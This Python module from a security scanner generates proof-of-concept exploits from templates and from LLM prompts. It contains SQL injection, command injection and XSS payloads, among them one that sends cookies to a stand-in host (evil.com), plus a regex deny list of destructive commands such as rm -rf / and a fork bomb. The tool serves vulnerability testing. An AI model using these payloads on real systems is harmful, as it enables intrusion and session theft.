"""Exploit generator for creating proof-of-concept security exploits."""

import json
import re
from dataclasses import dataclass
from typing import Any

from jinja2 import Environment, Template

from ..config import SecurityConfig
from ..credentials import CredentialManager
from .types import Category, ThreatMatch


class ExploitGenerationError(Exception):
    """Exception raised when exploit generation fails."""

    pass


@dataclass
class ExploitContext:
    """Context information for exploit generation."""

    threat_match: ThreatMatch
    source_code: str
    additional_context: dict[str, Any] = None

    def __post_init__(self):
        if self.additional_context is None:
            self.additional_context = {}


@dataclass
class ExploitPrompt:
    """Represents a prompt for exploit generation."""

    system_prompt: str
    user_prompt: str
    threat_match: ThreatMatch
    source_code: str

    def to_dict(self) -> dict[str, Any]:
        """Convert to dictionary for JSON serialization."""
        return {
            "system_prompt": self.system_prompt,
            "user_prompt": self.user_prompt,
            "threat_type": self.threat_match.rule_name,
            "severity": self.threat_match.severity.value,
            "category": self.threat_match.category.value,
            "file_path": self.threat_match.file_path,
            "line_number": self.threat_match.line_number,
        }


class SafetyFilter:
    """Filter to ensure exploits are safe for educational purposes."""

    def __init__(self):
        self.dangerous_patterns = [
            r"rm\s+-rf\s+/",
            r"format\s+c:",
            r"del\s+/s\s+/q",
            r":\(\)\{\s*:\s*\|\s*:\s*&\s*\}\s*;",  # Fork bomb
            r"while\s*\(\s*1\s*\)",  # Infinite loop
            r'exec\s*\(\s*["\']rm\s+-rf',
            r'subprocess\.call\s*\(\s*["\']rm\s+-rf',
            r'os\.system\s*\(\s*["\']rm\s+-rf',
            r'eval\s*\(\s*["\'].*rm\s+-rf',
            r'shell_exec\s*\(\s*["\']rm\s+-rf',
            r'system\s*\(\s*["\']rm\s+-rf',
        ]

        self.compiled_patterns = [
            re.compile(pattern, re.IGNORECASE) for pattern in self.dangerous_patterns
        ]

    def is_safe(self, exploit: str) -> bool:
        """Check if an exploit is safe for educational purposes.

        Args:
            exploit: The exploit string to check

        Returns:
            True if the exploit is safe, False otherwise
        """
        for pattern in self.compiled_patterns:
            if pattern.search(exploit):
                return False
        return True

    def sanitize_exploit(self, exploit: str) -> str:
        """Sanitize an exploit to make it safe for educational purposes.

        Args:
            exploit: The exploit string to sanitize

        Returns:
            Sanitized exploit string
        """
        # Replace dangerous commands with safe alternatives
        safe_exploit = exploit

        # Replace destructive commands
        safe_exploit = re.sub(
            r"rm\s+-rf\s+/", 'echo "This would delete files"', safe_exploit
        )
        safe_exploit = re.sub(
            r"format\s+c:", 'echo "This would format drive"', safe_exploit
        )
        safe_exploit = re.sub(
            r"del\s+/s\s+/q", 'echo "This would delete files"', safe_exploit
        )

        # Add safety warnings
        if not safe_exploit.startswith("# WARNING:"):
            safe_exploit = (
                "# WARNING: This is for educational purposes only!\n" + safe_exploit
            )

        return safe_exploit


class TemplateEngine:
    """Engine for generating exploits from templates."""

    def __init__(self):
        self.env = (
            Environment()
        )  # nosec B701 - autoescape disabled intentionally for exploit generation
        self.templates = self._load_built_in_templates()

    def _load_built_in_templates(self) -> dict[str, Template]:
        """Load built-in exploit templates.

        Returns:
            Dictionary of template name to Template object
        """
        templates = {}

        # SQL Injection template
        templates["sql_injection"] = self.env.from_string(
            """
# SQL Injection Exploit
# Target: {{ threat.rule_name }}
# Severity: {{ threat.severity.value }}

# Basic SQL injection payload
payload = "' OR '1'='1"

# Union-based injection
union_payload = "' UNION SELECT username, password FROM users--"

# Time-based blind injection
time_payload = "'; WAITFOR DELAY '00:00:05'--"

# Boolean-based blind injection
boolean_payload = "' AND (SELECT COUNT(*) FROM users) > 0--"

# Example usage:
# In the vulnerable code: {{ threat.code_snippet }}
# Replace user input with: {{ payload }}
        """
        )

        # XSS template
        templates["xss"] = self.env.from_string(
            """
# Cross-Site Scripting (XSS) Exploit
# Target: {{ threat.rule_name }}
# Severity: {{ threat.severity.value }}

# Basic XSS payload
payload = "<script>alert('XSS')</script>"

# Cookie stealing payload
cookie_payload = "<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>"

# DOM manipulation payload
dom_payload = "<img src='x' onerror='alert(document.domain)'>"

# Example usage:
# In the vulnerable code: {{ threat.code_snippet }}
# Input: {{ payload }}
        """
        )

        # Command injection template
        templates["command_injection"] = self.env.from_string(
            """
# Command Injection Exploit
# Target: {{ threat.rule_name }}
# Severity: {{ threat.severity.value }}

# Basic command injection
payload = "; ls -la"

# Command chaining
chain_payload = " && whoami"

# Safe demonstration payload
safe_payload = "; echo 'Command injection successful'"

# Example usage:
# In the vulnerable code: {{ threat.code_snippet }}
# Input: {{ payload }}
        """
        )

        return templates

    def generate_exploit(
        self, threat_match: ThreatMatch, source_code: str
    ) -> list[str]:
        """Generate exploit from template.

        Args:
            threat_match: The threat match to generate exploit for
            source_code: The vulnerable source code

        Returns:
            List of exploit strings
        """
        exploits = []

        # Try to find appropriate template
        template_name = self._get_template_name(threat_match.category)
        if template_name and template_name in self.templates:
            template = self.templates[template_name]
            exploit = template.render(threat=threat_match, source_code=source_code)
            exploits.append(exploit)

        return exploits

    def _get_template_name(self, category: Category) -> str | None:
        """Get template name for a threat category.

        Args:
            category: The threat category

        Returns:
            Template name or None if not found
        """
        category_map = {
            Category.INJECTION: "sql_injection",
            Category.XSS: "xss",
            Category.RCE: "command_injection",
        }
        return category_map.get(category)

    def add_template(self, name: str, template_content: str) -> None:
        """Add a custom template.

        Args:
            name: Template name
            template_content: Template content
        """
        self.templates[name] = self.env.from_string(template_content)


class LLMExploitGenerator:
    """LLM-based exploit generator that creates prompts for client LLMs."""

    def __init__(self, config: SecurityConfig):
        """Initialize the LLM exploit generator.

        Args:
            config: Security configuration
        """
        self.config = config

    def create_exploit_prompt(self, context: ExploitContext) -> ExploitPrompt:
        """Create exploit generation prompt.

        Args:
            context: Context for exploit generation

        Returns:
            ExploitPrompt object
        """
        system_prompt = self._create_system_prompt()
        user_prompt = self._create_user_prompt(context)

        return ExploitPrompt(
            system_prompt=system_prompt,
            user_prompt=user_prompt,
            threat_match=context.threat_match,
            source_code=context.source_code,
        )

    def parse_exploit_response(self, response_text: str) -> list[str]:
        """Parse exploit response from LLM.

        Args:
            response_text: Raw response from LLM

        Returns:
            List of exploit strings
        """
        # Parse multiple exploits if present
        exploits = self._parse_exploits(response_text)
        return exploits

    def _create_system_prompt(self) -> str:
        """Create system prompt for exploit generation.

        Returns:
            System prompt string
        """
        return """You are a cybersecurity expert generating educational proof-of-concept exploits.
Your task is to create safe, educational demonstrations of security vulnerabilities.

Guidelines:
1. Always include warnings about responsible disclosure and legal use only
2. Make exploits safe for demonstration purposes (no actual harm)
3. Focus on educational value and understanding the vulnerability
4. Provide clear explanations of how the exploit works
5. Include remediation advice
6. Use placeholder/example data rather than real sensitive information
7. Avoid destructive commands or operations
8. Add appropriate safety warnings and disclaimers

The exploits should be:
- Safe for educational environments
- Well-documented with comments
- Focused on demonstrating the vulnerability concept
- Include both the exploit and the fix/mitigation"""

    def _create_user_prompt(self, context: ExploitContext) -> str:
        """Create user prompt for exploit generation.

        Args:
            context: Exploit context

        Returns:
            Formatted prompt string
        """
        threat = context.threat_match

        prompt = f"""
Generate a proof-of-concept exploit for the following security vulnerability:

**Vulnerability Details:**
- Type: {threat.rule_name}
- Description: {threat.description}
- Category: {threat.category.value}
- Severity: {threat.severity.value}
- File: {threat.file_path}
- Line: {threat.line_number}

**Vulnerable Code:**
```
{context.source_code}
```

**Code Context:**
{threat.code_snippet}

**Requirements:**
1. Generate a safe, educational proof-of-concept exploit
2. Include clear explanations of how the exploit works
3. Provide remediation advice
4. Add appropriate warnings about responsible use
5. Make the exploit safe for demonstration (no actual harm)

**Additional Context:**
{json.dumps(context.additional_context, indent=2)}

Please provide multiple exploit variations if applicable, clearly separated and labeled.
        """.strip()

        return prompt

    def _parse_exploits(self, text: str) -> list[str]:
        """Parse multiple exploits from LLM response.

        Args:
            text: LLM response text

        Returns:
            List of individual exploit strings
        """
        # Simple parsing - split by code blocks or numbered sections
        exploits = []

        # Split by code blocks
        code_blocks = re.findall(r"```[\s\S]*?```", text)
        if code_blocks:
            exploits.extend(code_blocks)

        # If no code blocks, use the entire text
        if not exploits:
            exploits = [text]

        return exploits


class ExploitGenerator:
    """Main exploit generator combining templates and LLM generation."""

    def __init__(self, credential_manager: CredentialManager):
        """Initialize the exploit generator.

        Args:
            credential_manager: Credential manager for configuration
        """
        self.credential_manager = credential_manager
        self.config = credential_manager.load_config()
        self.template_engine = TemplateEngine()
        self.safety_filter = SafetyFilter()

        # Initialize LLM generator
        self.llm_generator = LLMExploitGenerator(self.config)

    def generate_exploits(
        self, threat_match: ThreatMatch, source_code: str = "", use_llm: bool = False
    ) -> list[str]:
        """Generate exploits for a threat match.

        Args:
            threat_match: The detected threat
            source_code: The vulnerable source code
            use_llm: Whether to use LLM for generation (now returns prompt instead)

        Returns:
            List of exploit strings
        """
        exploits = []

        # Generate from existing templates if available
        if threat_match.exploit_examples:
            exploits.extend(threat_match.exploit_examples)

        # Generate from templates
        template_exploits = self._generate_from_templates(threat_match, source_code)
        exploits.extend(template_exploits)

        # Note: LLM generation is now handled by the server via prompts
        # The client will call create_exploit_prompt() separately

        # Apply safety filter if enabled
        if self.config.exploit_safety_mode:
            exploits = [
                self.safety_filter.sanitize_exploit(exploit) for exploit in exploits
            ]
            exploits = [
                exploit for exploit in exploits if self.safety_filter.is_safe(exploit)
            ]

        return exploits

    def create_exploit_prompt(
        self, threat_match: ThreatMatch, source_code: str = ""
    ) -> ExploitPrompt:
        """Create exploit generation prompt for LLM.

        Args:
            threat_match: The detected threat
            source_code: The vulnerable source code

        Returns:
            ExploitPrompt object
        """
        context = ExploitContext(threat_match, source_code)
        return self.llm_generator.create_exploit_prompt(context)

    def parse_exploit_response(self, response_text: str) -> list[str]:
        """Parse exploit response from LLM.

        Args:
            response_text: Raw response from LLM

        Returns:
            List of exploit strings
        """
        exploits = self.llm_generator.parse_exploit_response(response_text)

        # Apply safety filter if enabled
        if self.config.exploit_safety_mode:
            exploits = [
                self.safety_filter.sanitize_exploit(exploit) for exploit in exploits
            ]
            exploits = [
                exploit for exploit in exploits if self.safety_filter.is_safe(exploit)
            ]

        return exploits

    def _generate_from_templates(
        self, threat_match: ThreatMatch, source_code: str
    ) -> list[str]:
        """Generate exploits from templates.

        Args:
            threat_match: The threat match
            source_code: The vulnerable source code

        Returns:
            List of exploit strings
        """
        return self.template_engine.generate_exploit(threat_match, source_code)

    def add_custom_template(self, name: str, template_content: str) -> None:
        """Add a custom exploit template.

        Args:
            name: Template name
            template_content: Template content
        """
        self.template_engine.add_template(name, template_content)

    def is_llm_available(self) -> bool:
        """Check if LLM generation is available.

        Returns:
            True if LLM is available (always true now since we use client LLM)
        """
        return True

    def get_exploit_metadata(self, threat_match: ThreatMatch) -> dict[str, Any]:
        """Get metadata about possible exploits for a threat.

        Args:
            threat_match: The detected threat

        Returns:
            Dictionary with exploit metadata
        """
        return {
            "category": threat_match.category.value,
            "severity": threat_match.severity.value,
            "cwe_id": threat_match.cwe_id,
            "owasp_category": threat_match.owasp_category,
            "available_templates": self._get_available_templates(threat_match.category),
            "llm_available": self.is_llm_available(),
            "safety_mode": self.config.exploit_safety_mode,
        }

    def _get_available_templates(self, category: Category) -> list[str]:
        """Get available templates for a category.

        Args:
            category: Threat category

        Returns:
            List of available template names
        """
        category_templates = {
            Category.INJECTION: ["sql_injection", "command_injection"],
            Category.XSS: ["xss_dom"],
            Category.DESERIALIZATION: ["deserialization"],
            Category.LFI: ["path_traversal"],
        }

        return category_templates.get(category, [])
